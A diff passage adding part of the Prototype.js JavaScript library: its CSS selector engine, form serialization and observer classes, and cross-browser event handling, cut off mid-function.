+      'first-child': '[not(preceding-sibling::*)]',
+      'last-child':  '[not(following-sibling::*)]',
+      'only-child':  '[not(preceding-sibling::* or following-sibling::*)]',
+      'empty':       "[count(*) = 0 and (count(text()) = 0 or translate(text(), ' \t\r\n', '') = '')]",
+      'checked':     "[@checked]",
+      'disabled':    "[@disabled]",
+      'enabled':     "[not(@disabled)]",
+      'not': function(m) {
+        var e = m[6], p = Selector.patterns,
+            x = Selector.xpath, le, m, v;
+
+        var exclusion = [];
+        while (e && le != e && (/\S/).test(e)) {
+          le = e;
+          for (var i in p) {
+            if (m = e.match(p[i])) {
+              v = Object.isFunction(x[i]) ? x[i](m) : new Template(x[i]).evaluate(m);
+              exclusion.push("(" + v.substring(1, v.length - 1) + ")");
+              e = e.replace(m[0], '');
+              break;
+            }
+          }
+        }
+        return "[not(" + exclusion.join(" and ") + ")]";
+      },
+      'nth-child':      function(m) {
+        return Selector.xpath.pseudos.nth("(count(./preceding-sibling::*) + 1) ", m);
+      },
+      'nth-last-child': function(m) {
+        return Selector.xpath.pseudos.nth("(count(./following-sibling::*) + 1) ", m);
+      },
+      'nth-of-type':    function(m) {
+        return Selector.xpath.pseudos.nth("position() ", m);
+      },
+      'nth-last-of-type': function(m) {
+        return Selector.xpath.pseudos.nth("(last() + 1 - position()) ", m);
+      },
+      'first-of-type':  function(m) {
+        m[6] = "1"; return Selector.xpath.pseudos['nth-of-type'](m);
+      },
+      'last-of-type':   function(m) {
+        m[6] = "1"; return Selector.xpath.pseudos['nth-last-of-type'](m);
+      },
+      'only-of-type':   function(m) {
+        var p = Selector.xpath.pseudos; return p['first-of-type'](m) + p['last-of-type'](m);
+      },
+      nth: function(fragment, m) {
+        var mm, formula = m[6], predicate;
+        if (formula == 'even') formula = '2n+0';
+        if (formula == 'odd')  formula = '2n+1';
+        if (mm = formula.match(/^(\d+)$/)) // digit only
+          return '[' + fragment + "= " + mm[1] + ']';
+        if (mm = formula.match(/^(-?\d*)?n(([+-])(\d+))?/)) { // an+b
+          if (mm[1] == "-") mm[1] = -1;
+          var a = mm[1] ? Number(mm[1]) : 1;
+          var b = mm[2] ? Number(mm[2]) : 0;
+          predicate = "[((#{fragment} - #{b}) mod #{a} = 0) and " +
+          "((#{fragment} - #{b}) div #{a} >= 0)]";
+          return new Template(predicate).evaluate({
+            fragment: fragment, a: a, b: b });
+        }
+      }
+    }
+  },
+
+  criteria: {
+    tagName:      'n = h.tagName(n, r, "#{1}", c);   c = false;',
+    className:    'n = h.className(n, r, "#{1}", c); c = false;',
+    id:           'n = h.id(n, r, "#{1}", c);        c = false;',
+    attrPresence: 'n = h.attrPresence(n, r, "#{1}"); c = false;',
+    attr: function(m) {
+      m[3] = (m[5] || m[6]);
+      return new Template('n = h.attr(n, r, "#{1}", "#{3}", "#{2}"); c = false;').evaluate(m);
+    },
+    pseudo: function(m) {
+      if (m[6]) m[6] = m[6].replace(/"/g, '\\"');
+      return new Template('n = h.pseudo(n, "#{1}", "#{6}", r, c); c = false;').evaluate(m);
+    },
+    descendant:   'c = "descendant";',
+    child:        'c = "child";',
+    adjacent:     'c = "adjacent";',
+    laterSibling: 'c = "laterSibling";'
+  },
+
+  patterns: {
+    // combinators must be listed first
+    // (and descendant needs to be last combinator)
+    laterSibling: /^\s*~\s*/,
+    child:        /^\s*>\s*/,
+    adjacent:     /^\s*\+\s*/,
+    descendant:   /^\s/,
+
+    // selectors follow
+    tagName:      /^\s*(\*|[\w\-]+)(\b|$)?/,
+    id:           /^#([\w\-\*]+)(\b|$)/,
+    className:    /^\.([\w\-\*]+)(\b|$)/,
+    pseudo:       /^:((first|last|nth|nth-last|only)(-child|-of-type)|empty|checked|(en|dis)abled|not)(\((.*?)\))?(\b|$|(?=\s)|(?=:))/,
+    attrPresence: /^\[([\w]+)\]/,
+    attr:         /\[((?:[\w-]*:)?[\w-]+)\s*(?:([!^$*~|]?=)\s*((['"])([^\4]*?)\4|([^'"][^\]]*?)))?\]/
+  },
+
+  // for Selector.match and Element#match
+  assertions: {
+    tagName: function(element, matches) {
+      return matches[1].toUpperCase() == element.tagName.toUpperCase();
+    },
+
+    className: function(element, matches) {
+      return Element.hasClassName(element, matches[1]);
+    },
+
+    id: function(element, matches) {
+      return element.id === matches[1];
+    },
+
+    attrPresence: function(element, matches) {
+      return Element.hasAttribute(element, matches[1]);
+    },
+
+    attr: function(element, matches) {
+      var nodeValue = Element.readAttribute(element, matches[1]);
+      return Selector.operators[matches[2]](nodeValue, matches[3]);
+    }
+  },
+
+  handlers: {
+    // UTILITY FUNCTIONS
+    // joins two collections
+    concat: function(a, b) {
+      for (var i = 0, node; node = b[i]; i++)
+        a.push(node);
+      return a;
+    },
+
+    // marks an array of nodes for counting
+    mark: function(nodes) {
+      for (var i = 0, node; node = nodes[i]; i++)
+        node._counted = true;
+      return nodes;
+    },
+
+    unmark: function(nodes) {
+      for (var i = 0, node; node = nodes[i]; i++)
+        node._counted = undefined;
+      return nodes;
+    },
+
+    // mark each child node with its position (for nth calls)
+    // "ofType" flag indicates whether we're indexing for nth-of-type
+    // rather than nth-child
+    index: function(parentNode, reverse, ofType) {
+      parentNode._counted = true;
+      if (reverse) {
+        for (var nodes = parentNode.childNodes, i = nodes.length - 1, j = 1; i >= 0; i--) {
+          var node = nodes[i];
+          if (node.nodeType == 1 && (!ofType || node._counted)) node.nodeIndex = j++;
+        }
+      } else {
+        for (var i = 0, j = 1, nodes = parentNode.childNodes; node = nodes[i]; i++)
+          if (node.nodeType == 1 && (!ofType || node._counted)) node.nodeIndex = j++;
+      }
+    },
+
+    // filters out duplicates and extends all nodes
+    unique: function(nodes) {
+      if (nodes.length == 0) return nodes;
+      var results = [], n;
+      for (var i = 0, l = nodes.length; i < l; i++)
+        if (!(n = nodes[i])._counted) {
+          n._counted = true;
+          results.push(Element.extend(n));
+        }
+      return Selector.handlers.unmark(results);
+    },
+
+    // COMBINATOR FUNCTIONS
+    descendant: function(nodes) {
+      var h = Selector.handlers;
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        h.concat(results, node.getElementsByTagName('*'));
+      return results;
+    },
+
+    child: function(nodes) {
+      var h = Selector.handlers;
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        for (var j = 0, children = [], child; child = node.childNodes[j]; j++)
+          if (child.nodeType == 1 && child.tagName != '!') results.push(child);
+      }
+      return results;
+    },
+
+    adjacent: function(nodes) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        var next = this.nextElementSibling(node);
+        if (next) results.push(next);
+      }
+      return results;
+    },
+
+    laterSibling: function(nodes) {
+      var h = Selector.handlers;
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        h.concat(results, Element.nextSiblings(node));
+      return results;
+    },
+
+    nextElementSibling: function(node) {
+      while (node = node.nextSibling)
+             if (node.nodeType == 1) return node;
+      return null;
+    },
+
+    previousElementSibling: function(node) {
+      while (node = node.previousSibling)
+        if (node.nodeType == 1) return node;
+      return null;
+    },
+
+    // TOKEN FUNCTIONS
+    tagName: function(nodes, root, tagName, combinator) {
+      tagName = tagName.toUpperCase();
+      var results = [], h = Selector.handlers;
+      if (nodes) {
+        if (combinator) {
+          // fastlane for ordinary descendant combinators
+          if (combinator == "descendant") {
+            for (var i = 0, node; node = nodes[i]; i++)
+              h.concat(results, node.getElementsByTagName(tagName));
+            return results;
+          } else nodes = this[combinator](nodes);
+          if (tagName == "*") return nodes;
+        }
+        for (var i = 0, node; node = nodes[i]; i++)
+          if (node.tagName.toUpperCase() == tagName) results.push(node);
+        return results;
+      } else return root.getElementsByTagName(tagName);
+    },
+
+    id: function(nodes, root, id, combinator) {
+      var targetNode = $(id), h = Selector.handlers;
+      if (!targetNode) return [];
+      if (!nodes && root == document) return [targetNode];
+      if (nodes) {
+        if (combinator) {
+          if (combinator == 'child') {
+            for (var i = 0, node; node = nodes[i]; i++)
+              if (targetNode.parentNode == node) return [targetNode];
+          } else if (combinator == 'descendant') {
+            for (var i = 0, node; node = nodes[i]; i++)
+              if (Element.descendantOf(targetNode, node)) return [targetNode];
+          } else if (combinator == 'adjacent') {
+            for (var i = 0, node; node = nodes[i]; i++)
+              if (Selector.handlers.previousElementSibling(targetNode) == node)
+                return [targetNode];
+          } else nodes = h[combinator](nodes);
+        }
+        for (var i = 0, node; node = nodes[i]; i++)
+          if (node == targetNode) return [targetNode];
+        return [];
+      }
+      return (targetNode && Element.descendantOf(targetNode, root)) ? [targetNode] : [];
+    },
+
+    className: function(nodes, root, className, combinator) {
+      if (nodes && combinator) nodes = this[combinator](nodes);
+      return Selector.handlers.byClassName(nodes, root, className);
+    },
+
+    byClassName: function(nodes, root, className) {
+      if (!nodes) nodes = Selector.handlers.descendant([root]);
+      var needle = ' ' + className + ' ';
+      for (var i = 0, results = [], node, nodeClassName; node = nodes[i]; i++) {
+        nodeClassName = node.className;
+        if (nodeClassName.length == 0) continue;
+        if (nodeClassName == className || (' ' + nodeClassName + ' ').include(needle))
+          results.push(node);
+      }
+      return results;
+    },
+
+    attrPresence: function(nodes, root, attr) {
+      if (!nodes) nodes = root.getElementsByTagName("*");
+      var results = [];
+      for (var i = 0, node; node = nodes[i]; i++)
+        if (Element.hasAttribute(node, attr)) results.push(node);
+      return results;
+    },
+
+    attr: function(nodes, root, attr, value, operator) {
+      if (!nodes) nodes = root.getElementsByTagName("*");
+      var handler = Selector.operators[operator], results = [];
+      for (var i = 0, node; node = nodes[i]; i++) {
+        var nodeValue = Element.readAttribute(node, attr);
+        if (nodeValue === null) continue;
+        if (handler(nodeValue, value)) results.push(node);
+      }
+      return results;
+    },
+
+    pseudo: function(nodes, name, value, root, combinator) {
+      if (nodes && combinator) nodes = this[combinator](nodes);
+      if (!nodes) nodes = root.getElementsByTagName("*");
+      return Selector.pseudos[name](nodes, value, root);
+    }
+  },
+
+  pseudos: {
+    'first-child': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        if (Selector.handlers.previousElementSibling(node)) continue;
+          results.push(node);
+      }
+      return results;
+    },
+    'last-child': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        if (Selector.handlers.nextElementSibling(node)) continue;
+          results.push(node);
+      }
+      return results;
+    },
+    'only-child': function(nodes, value, root) {
+      var h = Selector.handlers;
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (!h.previousElementSibling(node) && !h.nextElementSibling(node))
+          results.push(node);
+      return results;
+    },
+    'nth-child':        function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, formula, root);
+    },
+    'nth-last-child':   function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, formula, root, true);
+    },
+    'nth-of-type':      function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, formula, root, false, true);
+    },
+    'nth-last-of-type': function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, formula, root, true, true);
+    },
+    'first-of-type':    function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, "1", root, false, true);
+    },
+    'last-of-type':     function(nodes, formula, root) {
+      return Selector.pseudos.nth(nodes, "1", root, true, true);
+    },
+    'only-of-type':     function(nodes, formula, root) {
+      var p = Selector.pseudos;
+      return p['last-of-type'](p['first-of-type'](nodes, formula, root), formula, root);
+    },
+
+    // handles the an+b logic
+    getIndices: function(a, b, total) {
+      if (a == 0) return b > 0 ? [b] : [];
+      return $R(1, total).inject([], function(memo, i) {
+        if (0 == (i - b) % a && (i - b) / a >= 0) memo.push(i);
+        return memo;
+      });
+    },
+
+    // handles nth(-last)-child, nth(-last)-of-type, and (first|last)-of-type
+    nth: function(nodes, formula, root, reverse, ofType) {
+      if (nodes.length == 0) return [];
+      if (formula == 'even') formula = '2n+0';
+      if (formula == 'odd')  formula = '2n+1';
+      var h = Selector.handlers, results = [], indexed = [], m;
+      h.mark(nodes);
+      for (var i = 0, node; node = nodes[i]; i++) {
+        if (!node.parentNode._counted) {
+          h.index(node.parentNode, reverse, ofType);
+          indexed.push(node.parentNode);
+        }
+      }
+      if (formula.match(/^\d+$/)) { // just a number
+        formula = Number(formula);
+        for (var i = 0, node; node = nodes[i]; i++)
+          if (node.nodeIndex == formula) results.push(node);
+      } else if (m = formula.match(/^(-?\d*)?n(([+-])(\d+))?/)) { // an+b
+        if (m[1] == "-") m[1] = -1;
+        var a = m[1] ? Number(m[1]) : 1;
+        var b = m[2] ? Number(m[2]) : 0;
+        var indices = Selector.pseudos.getIndices(a, b, nodes.length);
+        for (var i = 0, node, l = indices.length; node = nodes[i]; i++) {
+          for (var j = 0; j < l; j++)
+            if (node.nodeIndex == indices[j]) results.push(node);
+        }
+      }
+      h.unmark(nodes);
+      h.unmark(indexed);
+      return results;
+    },
+
+    'empty': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++) {
+        // IE treats comments as element nodes
+        if (node.tagName == '!' || (node.firstChild && !node.innerHTML.match(/^\s*$/))) continue;
+        results.push(node);
+      }
+      return results;
+    },
+
+    'not': function(nodes, selector, root) {
+      var h = Selector.handlers, selectorType, m;
+      var exclusions = new Selector(selector).findElements(root);
+      h.mark(exclusions);
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (!node._counted) results.push(node);
+      h.unmark(exclusions);
+      return results;
+    },
+
+    'enabled': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (!node.disabled) results.push(node);
+      return results;
+    },
+
+    'disabled': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (node.disabled) results.push(node);
+      return results;
+    },
+
+    'checked': function(nodes, value, root) {
+      for (var i = 0, results = [], node; node = nodes[i]; i++)
+        if (node.checked) results.push(node);
+      return results;
+    }
+  },
+
+  operators: {
+    '=':  function(nv, v) { return nv == v; },
+    '!=': function(nv, v) { return nv != v; },
+    '^=': function(nv, v) { return nv.startsWith(v); },
+    '$=': function(nv, v) { return nv.endsWith(v); },
+    '*=': function(nv, v) { return nv.include(v); },
+    '~=': function(nv, v) { return (' ' + nv + ' ').include(' ' + v + ' '); },
+    '|=': function(nv, v) { return ('-' + nv.toUpperCase() + '-').include('-' + v.toUpperCase() + '-'); }
+  },
+
+  matchElements: function(elements, expression) {
+    var matches = new Selector(expression).findElements(), h = Selector.handlers;
+    h.mark(matches);
+    for (var i = 0, results = [], element; element = elements[i]; i++)
+      if (element._counted) results.push(element);
+    h.unmark(matches);
+    return results;
+  },
+
+  findElement: function(elements, expression, index) {
+    if (Object.isNumber(expression)) {
+      index = expression; expression = false;
+    }
+    return Selector.matchElements(elements, expression || '*')[index || 0];
+  },
+
+  findChildElements: function(element, expressions) {
+    var exprs = expressions.join(','), expressions = [];
+    exprs.scan(/(([\w#:.~>+()\s-]+|\*|\[.*?\])+)\s*(,|$)/, function(m) {
+      expressions.push(m[1].strip());
+    });
+    var results = [], h = Selector.handlers;
+    for (var i = 0, l = expressions.length, selector; i < l; i++) {
+      selector = new Selector(expressions[i].strip());
+      h.concat(results, selector.findElements(element));
+    }
+    return (l > 1) ? h.unique(results) : results;
+  }
+});
+
+function $$() {
+  return Selector.findChildElements(document, $A(arguments));
+}
+var Form = {
+  reset: function(form) {
+    $(form).reset();
+    return form;
+  },
+
+  serializeElements: function(elements, options) {
+    if (typeof options != 'object') options = { hash: !!options };
+    else if (options.hash === undefined) options.hash = true;
+    var key, value, submitted = false, submit = options.submit;
+
+    var data = elements.inject({ }, function(result, element) {
+      if (!element.disabled && element.name) {
+        key = element.name; value = $(element).getValue();
+        if (value != null && (element.type != 'submit' || (!submitted &&
+            submit !== false && (!submit || key == submit) && (submitted = true)))) {
+          if (key in result) {
+            // a key is already present; construct an array of values
+            if (!Object.isArray(result[key])) result[key] = [result[key]];
+            result[key].push(value);
+          }
+          else result[key] = value;
+        }
+      }
+      return result;
+    });
+
+    return options.hash ? data : Object.toQueryString(data);
+  }
+};
+
+Form.Methods = {
+  serialize: function(form, options) {
+    return Form.serializeElements(Form.getElements(form), options);
+  },
+
+  getElements: function(form) {
+    return $A($(form).getElementsByTagName('*')).inject([],
+      function(elements, child) {
+        if (Form.Element.Serializers[child.tagName.toLowerCase()])
+          elements.push(Element.extend(child));
+        return elements;
+      }
+    );
+  },
+
+  getInputs: function(form, typeName, name) {
+    form = $(form);
+    var inputs = form.getElementsByTagName('input');
+
+    if (!typeName && !name) return $A(inputs).map(Element.extend);
+
+    for (var i = 0, matchingInputs = [], length = inputs.length; i < length; i++) {
+      var input = inputs[i];
+      if ((typeName && input.type != typeName) || (name && input.name != name))
+        continue;
+      matchingInputs.push(Element.extend(input));
+    }
+
+    return matchingInputs;
+  },
+
+  disable: function(form) {
+    form = $(form);
+    Form.getElements(form).invoke('disable');
+    return form;
+  },
+
+  enable: function(form) {
+    form = $(form);
+    Form.getElements(form).invoke('enable');
+    return form;
+  },
+
+  findFirstElement: function(form) {
+    var elements = $(form).getElements().findAll(function(element) {
+      return 'hidden' != element.type && !element.disabled;
+    });
+    var firstByIndex = elements.findAll(function(element) {
+      return element.hasAttribute('tabIndex') && element.tabIndex >= 0;
+    }).sortBy(function(element) { return element.tabIndex }).first();
+
+    return firstByIndex ? firstByIndex : elements.find(function(element) {
+      return ['input', 'select', 'textarea'].include(element.tagName.toLowerCase());
+    });
+  },
+
+  focusFirstElement: function(form) {
+    form = $(form);
+    form.findFirstElement().activate();
+    return form;
+  },
+
+  request: function(form, options) {
+    form = $(form), options = Object.clone(options || { });
+
+    var params = options.parameters, action = form.readAttribute('action') || '';
+    if (action.blank()) action = window.location.href;
+    options.parameters = form.serialize(true);
+
+    if (params) {
+      if (Object.isString(params)) params = params.toQueryParams();
+      Object.extend(options.parameters, params);
+    }
+
+    if (form.hasAttribute('method') && !options.method)
+      options.method = form.method;
+
+    return new Ajax.Request(action, options);
+  }
+};
+
+/*--------------------------------------------------------------------------*/
+
+Form.Element = {
+  focus: function(element) {
+    $(element).focus();
+    return element;
+  },
+
+  select: function(element) {
+    $(element).select();
+    return element;
+  }
+};
+
+Form.Element.Methods = {
+  serialize: function(element) {
+    element = $(element);
+    if (!element.disabled && element.name) {
+      var value = element.getValue();
+      if (value != undefined) {
+        var pair = { };
+        pair[element.name] = value;
+        return Object.toQueryString(pair);
+      }
+    }
+    return '';
+  },
+
+  getValue: function(element) {
+    element = $(element);
+    var method = element.tagName.toLowerCase();
+    return Form.Element.Serializers[method](element);
+  },
+
+  setValue: function(element, value) {
+    element = $(element);
+    var method = element.tagName.toLowerCase();
+    Form.Element.Serializers[method](element, value);
+    return element;
+  },
+
+  clear: function(element) {
+    $(element).value = '';
+    return element;
+  },
+
+  present: function(element) {
+    return $(element).value != '';
+  },
+
+  activate: function(element) {
+    element = $(element);
+    try {
+      element.focus();
+      if (element.select && (element.tagName.toLowerCase() != 'input' ||
+          !['button', 'reset', 'submit'].include(element.type)))
+        element.select();
+    } catch (e) { }
+    return element;
+  },
+
+  disable: function(element) {
+    element = $(element);
+    element.blur();
+    element.disabled = true;
+    return element;
+  },
+
+  enable: function(element) {
+    element = $(element);
+    element.disabled = false;
+    return element;
+  }
+};
+
+/*--------------------------------------------------------------------------*/
+
+var Field = Form.Element;
+var $F = Form.Element.Methods.getValue;
+
+/*--------------------------------------------------------------------------*/
+
+Form.Element.Serializers = {
+  input: function(element, value) {
+    switch (element.type.toLowerCase()) {
+      case 'checkbox':
+      case 'radio':
+        return Form.Element.Serializers.inputSelector(element, value);
+      default:
+        return Form.Element.Serializers.textarea(element, value);
+    }
+  },
+
+  inputSelector: function(element, value) {
+    if (value === undefined) return element.checked ? element.value : null;
+    else element.checked = !!value;
+  },
+
+  textarea: function(element, value) {
+    if (value === undefined) return element.value;
+    else element.value = value;
+  },
+
+  select: function(element, index) {
+    if (index === undefined)
+      return this[element.type == 'select-one' ?
+        'selectOne' : 'selectMany'](element);
+    else {
+      var opt, value, single = !Object.isArray(index);
+      for (var i = 0, length = element.length; i < length; i++) {
+        opt = element.options[i];
+        value = this.optionValue(opt);
+        if (single) {
+          if (value == index) {
+            opt.selected = true;
+            return;
+          }
+        }
+        else opt.selected = index.include(value);
+      }
+    }
+  },
+
+  selectOne: function(element) {
+    var index = element.selectedIndex;
+    return index >= 0 ? this.optionValue(element.options[index]) : null;
+  },
+
+  selectMany: function(element) {
+    var values, length = element.length;
+    if (!length) return null;
+
+    for (var i = 0, values = []; i < length; i++) {
+      var opt = element.options[i];
+      if (opt.selected) values.push(this.optionValue(opt));
+    }
+    return values;
+  },
+
+  optionValue: function(opt) {
+    // extend element because hasAttribute may not be native
+    return Element.extend(opt).hasAttribute('value') ? opt.value : opt.text;
+  }
+};
+
+/*--------------------------------------------------------------------------*/
+
+Abstract.TimedObserver = Class.create(PeriodicalExecuter, {
+  initialize: function($super, element, frequency, callback) {
+    $super(callback, frequency);
+    this.element   = $(element);
+    this.lastValue = this.getValue();
+  },
+
+  execute: function() {
+    var value = this.getValue();
+    if (Object.isString(this.lastValue) && Object.isString(value) ?
+        this.lastValue != value : String(this.lastValue) != String(value)) {
+      this.callback(this.element, value);
+      this.lastValue = value;
+    }
+  }
+});
+
+Form.Element.Observer = Class.create(Abstract.TimedObserver, {
+  getValue: function() {
+    return Form.Element.getValue(this.element);
+  }
+});
+
+Form.Observer = Class.create(Abstract.TimedObserver, {
+  getValue: function() {
+    return Form.serialize(this.element);
+  }
+});
+
+/*--------------------------------------------------------------------------*/
+
+Abstract.EventObserver = Class.create({
+  initialize: function(element, callback) {
+    this.element  = $(element);
+    this.callback = callback;
+
+    this.lastValue = this.getValue();
+    if (this.element.tagName.toLowerCase() == 'form')
+      this.registerFormCallbacks();
+    else
+      this.registerCallback(this.element);
+  },
+
+  onElementEvent: function() {
+    var value = this.getValue();
+    if (this.lastValue != value) {
+      this.callback(this.element, value);
+      this.lastValue = value;
+    }
+  },
+
+  registerFormCallbacks: function() {
+    Form.getElements(this.element).each(this.registerCallback, this);
+  },
+
+  registerCallback: function(element) {
+    if (element.type) {
+      switch (element.type.toLowerCase()) {
+        case 'checkbox':
+        case 'radio':
+          Event.observe(element, 'click', this.onElementEvent.bind(this));
+          break;
+        default:
+          Event.observe(element, 'change', this.onElementEvent.bind(this));
+          break;
+      }
+    }
+  }
+});
+
+Form.Element.EventObserver = Class.create(Abstract.EventObserver, {
+  getValue: function() {
+    return Form.Element.getValue(this.element);
+  }
+});
+
+Form.EventObserver = Class.create(Abstract.EventObserver, {
+  getValue: function() {
+    return Form.serialize(this.element);
+  }
+});
+if (!window.Event) var Event = { };
+
+Object.extend(Event, {
+  KEY_BACKSPACE: 8,
+  KEY_TAB:       9,
+  KEY_RETURN:   13,
+  KEY_ESC:      27,
+  KEY_LEFT:     37,
+  KEY_UP:       38,
+  KEY_RIGHT:    39,
+  KEY_DOWN:     40,
+  KEY_DELETE:   46,
+  KEY_HOME:     36,
+  KEY_END:      35,
+  KEY_PAGEUP:   33,
+  KEY_PAGEDOWN: 34,
+  KEY_INSERT:   45,
+
+  cache: { },
+
+  relatedTarget: function(event) {
+    var element;
+    switch(event.type) {
+      case 'mouseover': element = event.fromElement; break;
+      case 'mouseout':  element = event.toElement;   break;
+      default: return null;
+    }
+    return Element.extend(element);
+  }
+});
+
+Event.Methods = (function() {
+  var isButton;
+
+  if (Prototype.Browser.IE) {
+    var buttonMap = { 0: 1, 1: 4, 2: 2 };
+    isButton = function(event, code) {
+      return event.button == buttonMap[code];
+    };
+
+  } else if (Prototype.Browser.WebKit) {
+    isButton = function(event, code) {
+      switch (code) {
+        case 0: return event.which == 1 && !event.metaKey;
+        case 1: return event.which == 1 && event.metaKey;
+        default: return false;
+      }
+    };
+
+  } else {
+    isButton = function(event, code) {
+      return event.which ? (event.which === code + 1) : (event.button === code);
+    };
+  }
+
+  return {
+    isLeftClick:   function(event) { return isButton(event, 0) },
+    isMiddleClick: function(event) { return isButton(event, 1) },
+    isRightClick:  function(event) { return isButton(event, 2) },
+
+    element: function(event) {
+      var node = Event.extend(event).target;
+      return Element.extend(node.nodeType == Node.TEXT_NODE ? node.parentNode : node);
+    },
+
+    findElement: function(event, expression) {
+      var element = Event.element(event);
+      return element.match(expression) ? element : element.up(expression);
+    },
+
+    pointer: function(event) {
+      return {
+        x: event.pageX || (event.clientX +
+          (document.documentElement.scrollLeft || document.body.scrollLeft)),
+        y: event.pageY || (event.clientY +
+          (document.documentElement.scrollTop || document.body.scrollTop))
+      };
+    },
+
+    pointerX: function(event) { return Event.pointer(event).x },
+    pointerY: function(event) { return Event.pointer(event).y },
+
+    stop: function(event) {
+      Event.extend(event);
+      event.preventDefault();
+      event.stopPropagation();
+      event.stopped = true;
+    }
+  };
+})();
+
+Event.extend = (function() {
+  var methods = Object.keys(Event.Methods).inject({ }, function(m, name) {
+    m[name] = Event.Methods[name].methodize();
+    return m;
+  });
+
+  if (Prototype.Browser.IE) {
+    Object.extend(methods, {
+      stopPropagation: function() { this.cancelBubble = true },
+      preventDefault:  function() { this.returnValue = false },
+      inspect: function() { return "[object Event]" }
+    });
+
+    return function(event) {
+      if (!event) return false;
+      if (event._extendedByPrototype) return event;
+
+      event._extendedByPrototype = Prototype.emptyFunction;
+      var pointer = Event.pointer(event);
+      Object.extend(event, {
+        target: event.srcElement,
+        relatedTarget: Event.relatedTarget(event),
+        pageX:  pointer.x,
+        pageY:  pointer.y
+      });
+      return Object.extend(event, methods);
+    };
+
+  } else {
+    Event.prototype = Event.prototype || document.createEvent("HTMLEvents").__proto__;
+    Object.extend(Event.prototype, methods);
+    return Prototype.K;
+  }
+})();
+
+Object.extend(Event, (function() {
+  var cache = Event.cache;
+
+  function getEventID(element) {
+    if (element._eventID) return element._eventID;
+    arguments.callee.id = arguments.callee.id || 1;
+    return element._eventID = ++arguments.callee.id;
+  }
+
+  function getDOMEventName(eventName) {
+    if (eventName && eventName.include(':')) return "dataavailable";
+    return eventName;
+  }
+
+  function getCacheForID(id) {
+    return cache[id] = cache[id] || { };
+  }
+
+  function getWrappersForEventName(id, eventName) {
+    var c = getCacheForID(id);
+    return c[eventName] = c[eventName] || [];
+  }
+
+  function createWrapper(element, eventName, handler) {
+    var id = getEventID(element);
+    var c = getWrappersForEventName(id, eventName);
+    if (c.pluck("handler").include(handler)) return false;
+
+    var wrapper = function(event) {
+      if (!Event || !Event.extend ||
+        (event.eventName && event.eventName != eventName))
+          return false;
+
+      Event.extend(event);
+      handler.call(element, event)
+    };
+
+    wrapper.handler = handler;
+    c.push(wrapper);
+    return wrapper;
+  }
+
+  function findWrapper(id, eventName, handler) {
+    var c = getWrappersForEventName(id, eventName);
+    return c.find(function(wrapper) { return wrapper.handler == handler });
+  }
+
+  function destroyWrapper(id, eventName, handler) {
+    var c = getCacheForID(id);
+    if (!c[eventName]) return false;
+    c[eventName] = c[eventName].without(findWrapper(id, eventName, handler));
+  }
+
+  function destroyCache() {
+    for (var id in cache)
+      for (var eventName in cache[id])
+        cache[id][eventName] = null;
+  }
+
+  if (window.attachEvent) {
+    window.attachEvent("onunload", destroyCache);
+  }
+
+  return {
+    observe: function(element, eventName, handler) {
+      element = $(element);
+      var name = getDOMEventName(eventName);
+
+      var wrapper = createWrapper(element, eventName, handler);
+      if (!wrapper) return element;
+
+      if (element.addEventListener) {
+        element.addEventListener(name, wrapper, false);
+      } else {
+        element.attachEvent("on" + name, wrapper);
+      }
+
+      return element;
+    },
+
+    stopObserving: function(element, eventName, handler) {
+      element = $(element);
+      var id = getEventID(element), name = getDOMEventName(eventName);
+
+      if (!handler && eventName) {
+        getWrappersForEventName(id, eventName).each(function(wrapper) {
+          element.stopObserving(eventName, wrapper.handler);
+        });
+        return element;
+
+      } else if (!eventName) {
+        Object.keys(getCacheForID(id)).each(function(eventName) {
+          element.stopObserving(eventName);
+        });
+        return element;
+      }
+
+      var wrapper = findWrapper(id, eventName, handler);
+      if (!wrapper) return element;
+
+      if (element.removeEventListener) {
+        element.removeEventListener(name, wrapper, false);
+      } else {
+        element.detachEvent("on" + name, wrapper);
+      }
+
+      destroyWrapper(id, eventName, handler);
+
+      return element;
+    },
+
+    fire: function(element, eventName, memo) {
+      element = $(element);
+      if (element == document && document.createEvent && !element.dispatchEvent)
+        element = document.documentElement;
+
+      if (document.createEvent) {
+        var event = document.createEvent("HTMLEvents");
+        event.initEvent("dataavailable", true, true);
+      } else {
+        var event = document.createEventObject();
+        event.eventType = "ondataavailable";
+      }
+
+      event.eventName = eventName;
+      event.memo = memo || { };
+
+      if (document.createEvent) {
+        element.dispatchEvent(event);
+      } else {
+        element.fireEvent(event.eventType, event);
+      }
+
+      return event;
+    }
+  };
+})());
+
+Object.extend(Event, Event.Methods);
+
+Element.addMethods({
+  fire:          Event.fire,
+  observe:       Event.observe,
+  stopObserving: Event.stopObserving
+});
+
+Object.extend(document, {
+  fire:          Element.Methods.fire.methodize(),
+  observe:       Element.Methods.observe.methodize(),
+  stopObserving: Element.Methods.stopObserving.methodize()
+});
+
+(function() {
+  /* Support for the DOMContentLoaded event is based on work by Dan Webb,
+     Matthias Miller, Dean Edwards and John Resig. */
+
+  var timer, fired = false;
+
+  function fireContentLoadedEvent() {
+    if (fired) return;
+    if (timer) window.clearInterval(timer);
+    document.fire("dom:loaded");
+    fired = true;
+  }
+
+  if (document.addEventListener) {
+    if (Prototype.Browser.WebKit) {
+      timer = window.setInterval(function() {
+        if (/loaded|complete/.test(document.readyState))
+          fireContentLoadedEvent();
+      }, 0);
+
+      Event.observe(window, "load", fireContentLoadedEvent);
+
+    } else {
+      document.addEventListener("DOMContentLoaded",
+        fireContentLoadedEvent, false);
+    }
+
+  } else {
+    document.write("<script id=__onDOMContentLoaded defer src=//:><\/script>");
+    $("__onDOMContentLoaded").onreadystatechange = function() {
